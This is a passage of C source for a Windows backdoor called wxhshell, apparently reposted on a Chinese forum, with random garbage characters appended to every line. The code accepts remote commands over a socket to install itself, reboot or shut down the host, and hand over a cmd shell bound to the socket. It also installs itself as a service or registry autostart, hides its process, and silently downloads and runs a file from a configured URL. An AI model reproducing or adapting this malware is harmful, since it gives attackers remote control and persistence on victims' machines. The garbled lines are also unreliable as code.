  case '?': { #wt#-U;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7^ER?@:W  
    break; or0f%wAF  
  } @k6>&PS  
  // 安装 O)W1.]GMbf  
  case 'i': { dC)@v]#h  
    if(Install()) GUMO;rZs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? -6oh~W<  
    else mio\}S A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ru2kC} Dx!  
    break; =n9|r.\&uJ  
    } / S]<MS  
  // 卸载 CY9`ztO*  
  case 'r': { ,%Dn}mWu  
    if(Uninstall()) +Ge-!&.;A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )y._]is)b  
    else x%0Q W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 40mgB4I  
    break; zU]95I  
    } $+-2/=>Xk  
  // 显示 wxhshell 所在路径 ,zO!`|I  
  case 'p': { ,\ov$biL  
    char svExeFile[MAX_PATH]; bKiV<&Z5d  
    strcpy(svExeFile,"\n\r");  w;)@2}  
      strcat(svExeFile,ExeFile); !A g W @  
        send(wsh,svExeFile,strlen(svExeFile),0); iFpJ /L  
    break; .]P@{T||Y  
    } }ufH![|[r  
  // 重启 rtC.!].;%  
  case 'b': { iE>T5XV8$B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TTu<~GH  
    if(Boot(REBOOT)) [$f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bh<)e5lP:  
    else { fsb_*sh&  
    closesocket(wsh); r;SA1n#  
    ExitThread(0); d'q,:="c  
    }  qauk,t  
    break; # sm>;+J  
    } QF Vy2 q  
  // 关机 >}Fe9Y.o  
  case 'd': { X)x$h{ OE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HOBM?|37CU  
    if(Boot(SHUTDOWN)) 6o!+E@V b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&cVda/  
    else { ^*`hJ48u  
    closesocket(wsh); Y2HF  
    ExitThread(0); 1r'skmxq  
    } \= =rdW-  
    break; 8 Zhx&  
    } >Ta|#]{  
  // 获取shell ;(5b5PA  
  case 's': { CWHTDao  
    CmdShell(wsh); C/U^8,6\n  
    closesocket(wsh); 0"3l2Eo  
    ExitThread(0); B^Fe.ty  
    break; 1>|2B&_^  
  } 5Z@OgR  
  // 退出 4At{(fw W  
  case 'x': { |Q[[WHqj2f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t&*X~(Yb!  
    CloseIt(wsh); -YPUrU[)  
    break; wak_^8x  
    } Pm*FA8a7  
  // 离开 s8Bbe t  
  case 'q': { h0_od/D1r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R,>LUa*u  
    closesocket(wsh); R utRA  
    WSACleanup(); ^Cs?FF@P  
    exit(1); "Y-_83  
    break; Yi:@>A<#  
        } =^%#F~o:  
  } YEqZ((H  
  } Rf9;jwU  
m:_'r"o  
  // 提示信息 K*NCIIDh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s"gNHp.oF  
} W"MwpV  
  } {$5?[KD  
AR8zCKBc^  
  return; }V:ZGP#!'  
} }]VFLBl`w  
dTcrJ|/Y  
// shell模块句柄 C+tB$yahO  
int CmdShell(SOCKET sock) RE 6d&#N  
{ bh V.uBH  
STARTUPINFO si; #2{H!jr  
ZeroMemory(&si,sizeof(si)); i-Er|u; W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3V2dN )\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D;nm~O%  
PROCESS_INFORMATION ProcessInfo; Okxuhzn>"  
char cmdline[]="cmd"; F5s Pd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v!~tX*q  
  return 0; ~?E.U,R  
} Q#M@!&  
Pr|BhX  
// 自身启动模式 $z[FL=h)?+  
int StartFromService(void) kMd1)6%6A  
{ &&SA/;F  
typedef struct RKru hF  
{ :k&R]bc9  
  DWORD ExitStatus; 5\S s`#g  
  DWORD PebBaseAddress; ^6g^ Q*"  
  DWORD AffinityMask; CvkZ<i){  
  DWORD BasePriority; U4s)3jDw  
  ULONG UniqueProcessId; cCa+UTxaJ  
  ULONG InheritedFromUniqueProcessId; }3HN $Fwo  
}   PROCESS_BASIC_INFORMATION; Wl?0|{W  
T%q@jv{c  
PROCNTQSIP NtQueryInformationProcess; {/ef`MxV }  
Y-YlQ ^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;[) O{%s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?E +[  
Fw.df<  
  HANDLE             hProcess; mQd L"caA  
  PROCESS_BASIC_INFORMATION pbi; z.Y`"B'j`  
{mOQRAKl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w{ +G/Ea  
  if(NULL == hInst ) return 0; Q7#Yw"#G!  
mZ_643|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6 rp(<D/_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q# C;iK4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %7}ibz4iF  
HAKB@h)  
  if (!NtQueryInformationProcess) return 0; [[FDt[ l4  
FW=`Fm@z%%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {f1iys'Om  
  if(!hProcess) return 0; L*(Sh2=_  
H;w8[ImK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FHOF 6}if  
X iW~? *Z  
  CloseHandle(hProcess); X\Gbs=sf6  
Gv\39+9 =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i0q<,VSl$_  
if(hProcess==NULL) return 0; lD9QS ;  
0Ba*"/U]t~  
HMODULE hMod; SB x<-^  
char procName[255]; ks19e>'5Q  
unsigned long cbNeeded; )JA9bR <  
y?Cq{(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2r^G;,{  
;X;q8J^_K_  
  CloseHandle(hProcess); {J~VB~('  
OrP i ("/  
if(strstr(procName,"services")) return 1; // 以服务启动 BWF>;*Xro  
!FA[ ]d4  
  return 0; // 注册表启动 -4Hf5!  
} ZVIlVuZ}  
nVyV]'-z  
// 主模块 >S}^0vNZX  
int StartWxhshell(LPSTR lpCmdLine) +d!"Zy2|B  
{ *G&3NSM-  
  SOCKET wsl; 2H,n"-9+  
BOOL val=TRUE; !-AK@`i.  
  int port=0; *e,GXU@  
  struct sockaddr_in door; {ovW6#  
i+@t_pxc  
  if(wscfg.ws_autoins) Install(); D;! aix3  
O&g$dK!Rad  
port=atoi(lpCmdLine); 2%_UOEayU  
,z5B"o{Et  
if(port<=0) port=wscfg.ws_port; L S%;ZKJ  
$97EeE:{M  
  WSADATA data; q=x1:^rVH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^~` t q+  
CNM pyr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =wquFA!c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mwtd<7<!A  
  door.sin_family = AF_INET; lvp8{]I<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >Q#\X=a>  
  door.sin_port = htons(port); zvOSQxGQ  
+ 'V ,z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HDHC9E6  
closesocket(wsl); Ihy76_OZ  
return 1; \f4JIsZ-&  
} 68QA%m'J  
6Eu"T9 (  
  if(listen(wsl,2) == INVALID_SOCKET) { W[B;;"ro  
closesocket(wsl); R>B4v+b  
return 1; K<E|29t^k  
} -'Oq.$Qq  
  Wxhshell(wsl); N$! Vm(S  
  WSACleanup(); q?$<{Z"  
} m&La4E  
return 0; ~y" ^t@!E  
!SAR/sdXf  
} St|B9V?eEB  
qr'P0+|~5  
// 以NT服务方式启动 v=J[p;H^H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eh /QFm 4  
{ M/evZ?uis  
DWORD   status = 0; "JpnmE[`  
  DWORD   specificError = 0xfffffff; 9jf2b  
PzH#tG&.j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; - p*j9 z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N VBWF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d9pZg=$8  
  serviceStatus.dwWin32ExitCode     = 0; tdi^e;:?  
  serviceStatus.dwServiceSpecificExitCode = 0; n-x%<j(Xf  
  serviceStatus.dwCheckPoint       = 0; 7-j=he/  
  serviceStatus.dwWaitHint       = 0; Om5+j:YM  
ZIp"X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z;1qYW[-A  
  if (hServiceStatusHandle==0) return; 8)V6yKGO  
d)'J:  
status = GetLastError(); `KHP?lX  
  if (status!=NO_ERROR) &XZS}n  
{ EF8'ycJk+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HwxME%w  
    serviceStatus.dwCheckPoint       = 0; -+Gd<U$  
    serviceStatus.dwWaitHint       = 0; /2Qgg`^)  
    serviceStatus.dwWin32ExitCode     = status; uTvck6  
    serviceStatus.dwServiceSpecificExitCode = specificError; RGz NZc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q-D|96>8  
    return; vN$j @h .  
  } 859ID8F  
=*=qleC3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zd <8c^@  
  serviceStatus.dwCheckPoint       = 0; IgNL1KRD  
  serviceStatus.dwWaitHint       = 0; dFzlcKFFD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M&ec%<lM  
} A[Pz&\@  
w<jlE8u  
// 处理NT服务事件,比如:启动、停止 @R s3i;"W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =x-@-\m  
{ cwBf((~  
switch(fdwControl) J`[He$7)  
{ I3" GGp3L  
case SERVICE_CONTROL_STOP: tish%Qnpd  
  serviceStatus.dwWin32ExitCode = 0; |P`:NAf2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :M9 E  
  serviceStatus.dwCheckPoint   = 0; jQi)pVT^  
  serviceStatus.dwWaitHint     = 0; W8Aii'Q8C/  
  { woyeKOr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hmv@7$9s\  
  } ~]C m  
  return; qV7nF }V{  
case SERVICE_CONTROL_PAUSE: X~> 2iL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @ZtDjxN &  
  break; #n6<jF1G  
case SERVICE_CONTROL_CONTINUE: gF8n{b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <Kt;uu>  
  break; "Oq>i9v;|$  
case SERVICE_CONTROL_INTERROGATE: gvy c(d  
  break; D.Z4noMA6  
}; t`eUD>\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [fl^1!3{  
} SJsRHQ  
PNG!q}(c  
// 标准应用程序主函数 G !;<#|a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5|Hz$oU  
{ rFU|oDF  
/p7-D;  
// 获取操作系统版本 `uLH3sr  
OsIsNt=GetOsVer(); Yxd&hr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6R';[um?q  
d'*:2;)g^  
  // 从命令行安装 (f>~+-IL  
  if(strpbrk(lpCmdLine,"iI")) Install(); p}9bZKyf  
A i5|N  
  // 下载执行文件 d,*#yzO  
if(wscfg.ws_downexe) { L_QJS2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Av"^uevfs  
  WinExec(wscfg.ws_filenam,SW_HIDE); EjFK zx  
} Bv(c`JE~;  
Dfl%Knl@J  
if(!OsIsNt) { Ln@n6*%(/  
// 如果时win9x,隐藏进程并且设置为注册表启动 &M2SqeR62;  
HideProc(); :vRUb>z  
StartWxhshell(lpCmdLine); mIm.+U`a2  
} hkoCbR0}8  
else 4.qW ~ W{  
  if(StartFromService()) yVl?gGgh  
  // 以服务方式启动 _|} GhdYE  
  StartServiceCtrlDispatcher(DispatchTable); J)"g`)\2+  
else _NkbB"+L  
  // 普通方式启动 VmTPE5d  
  StartWxhshell(lpCmdLine); Kfk/pYMDq  
%\QK/`krp  
return 0; /G& %T  
}
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只看该作者 1 发表于: 2006-10-10
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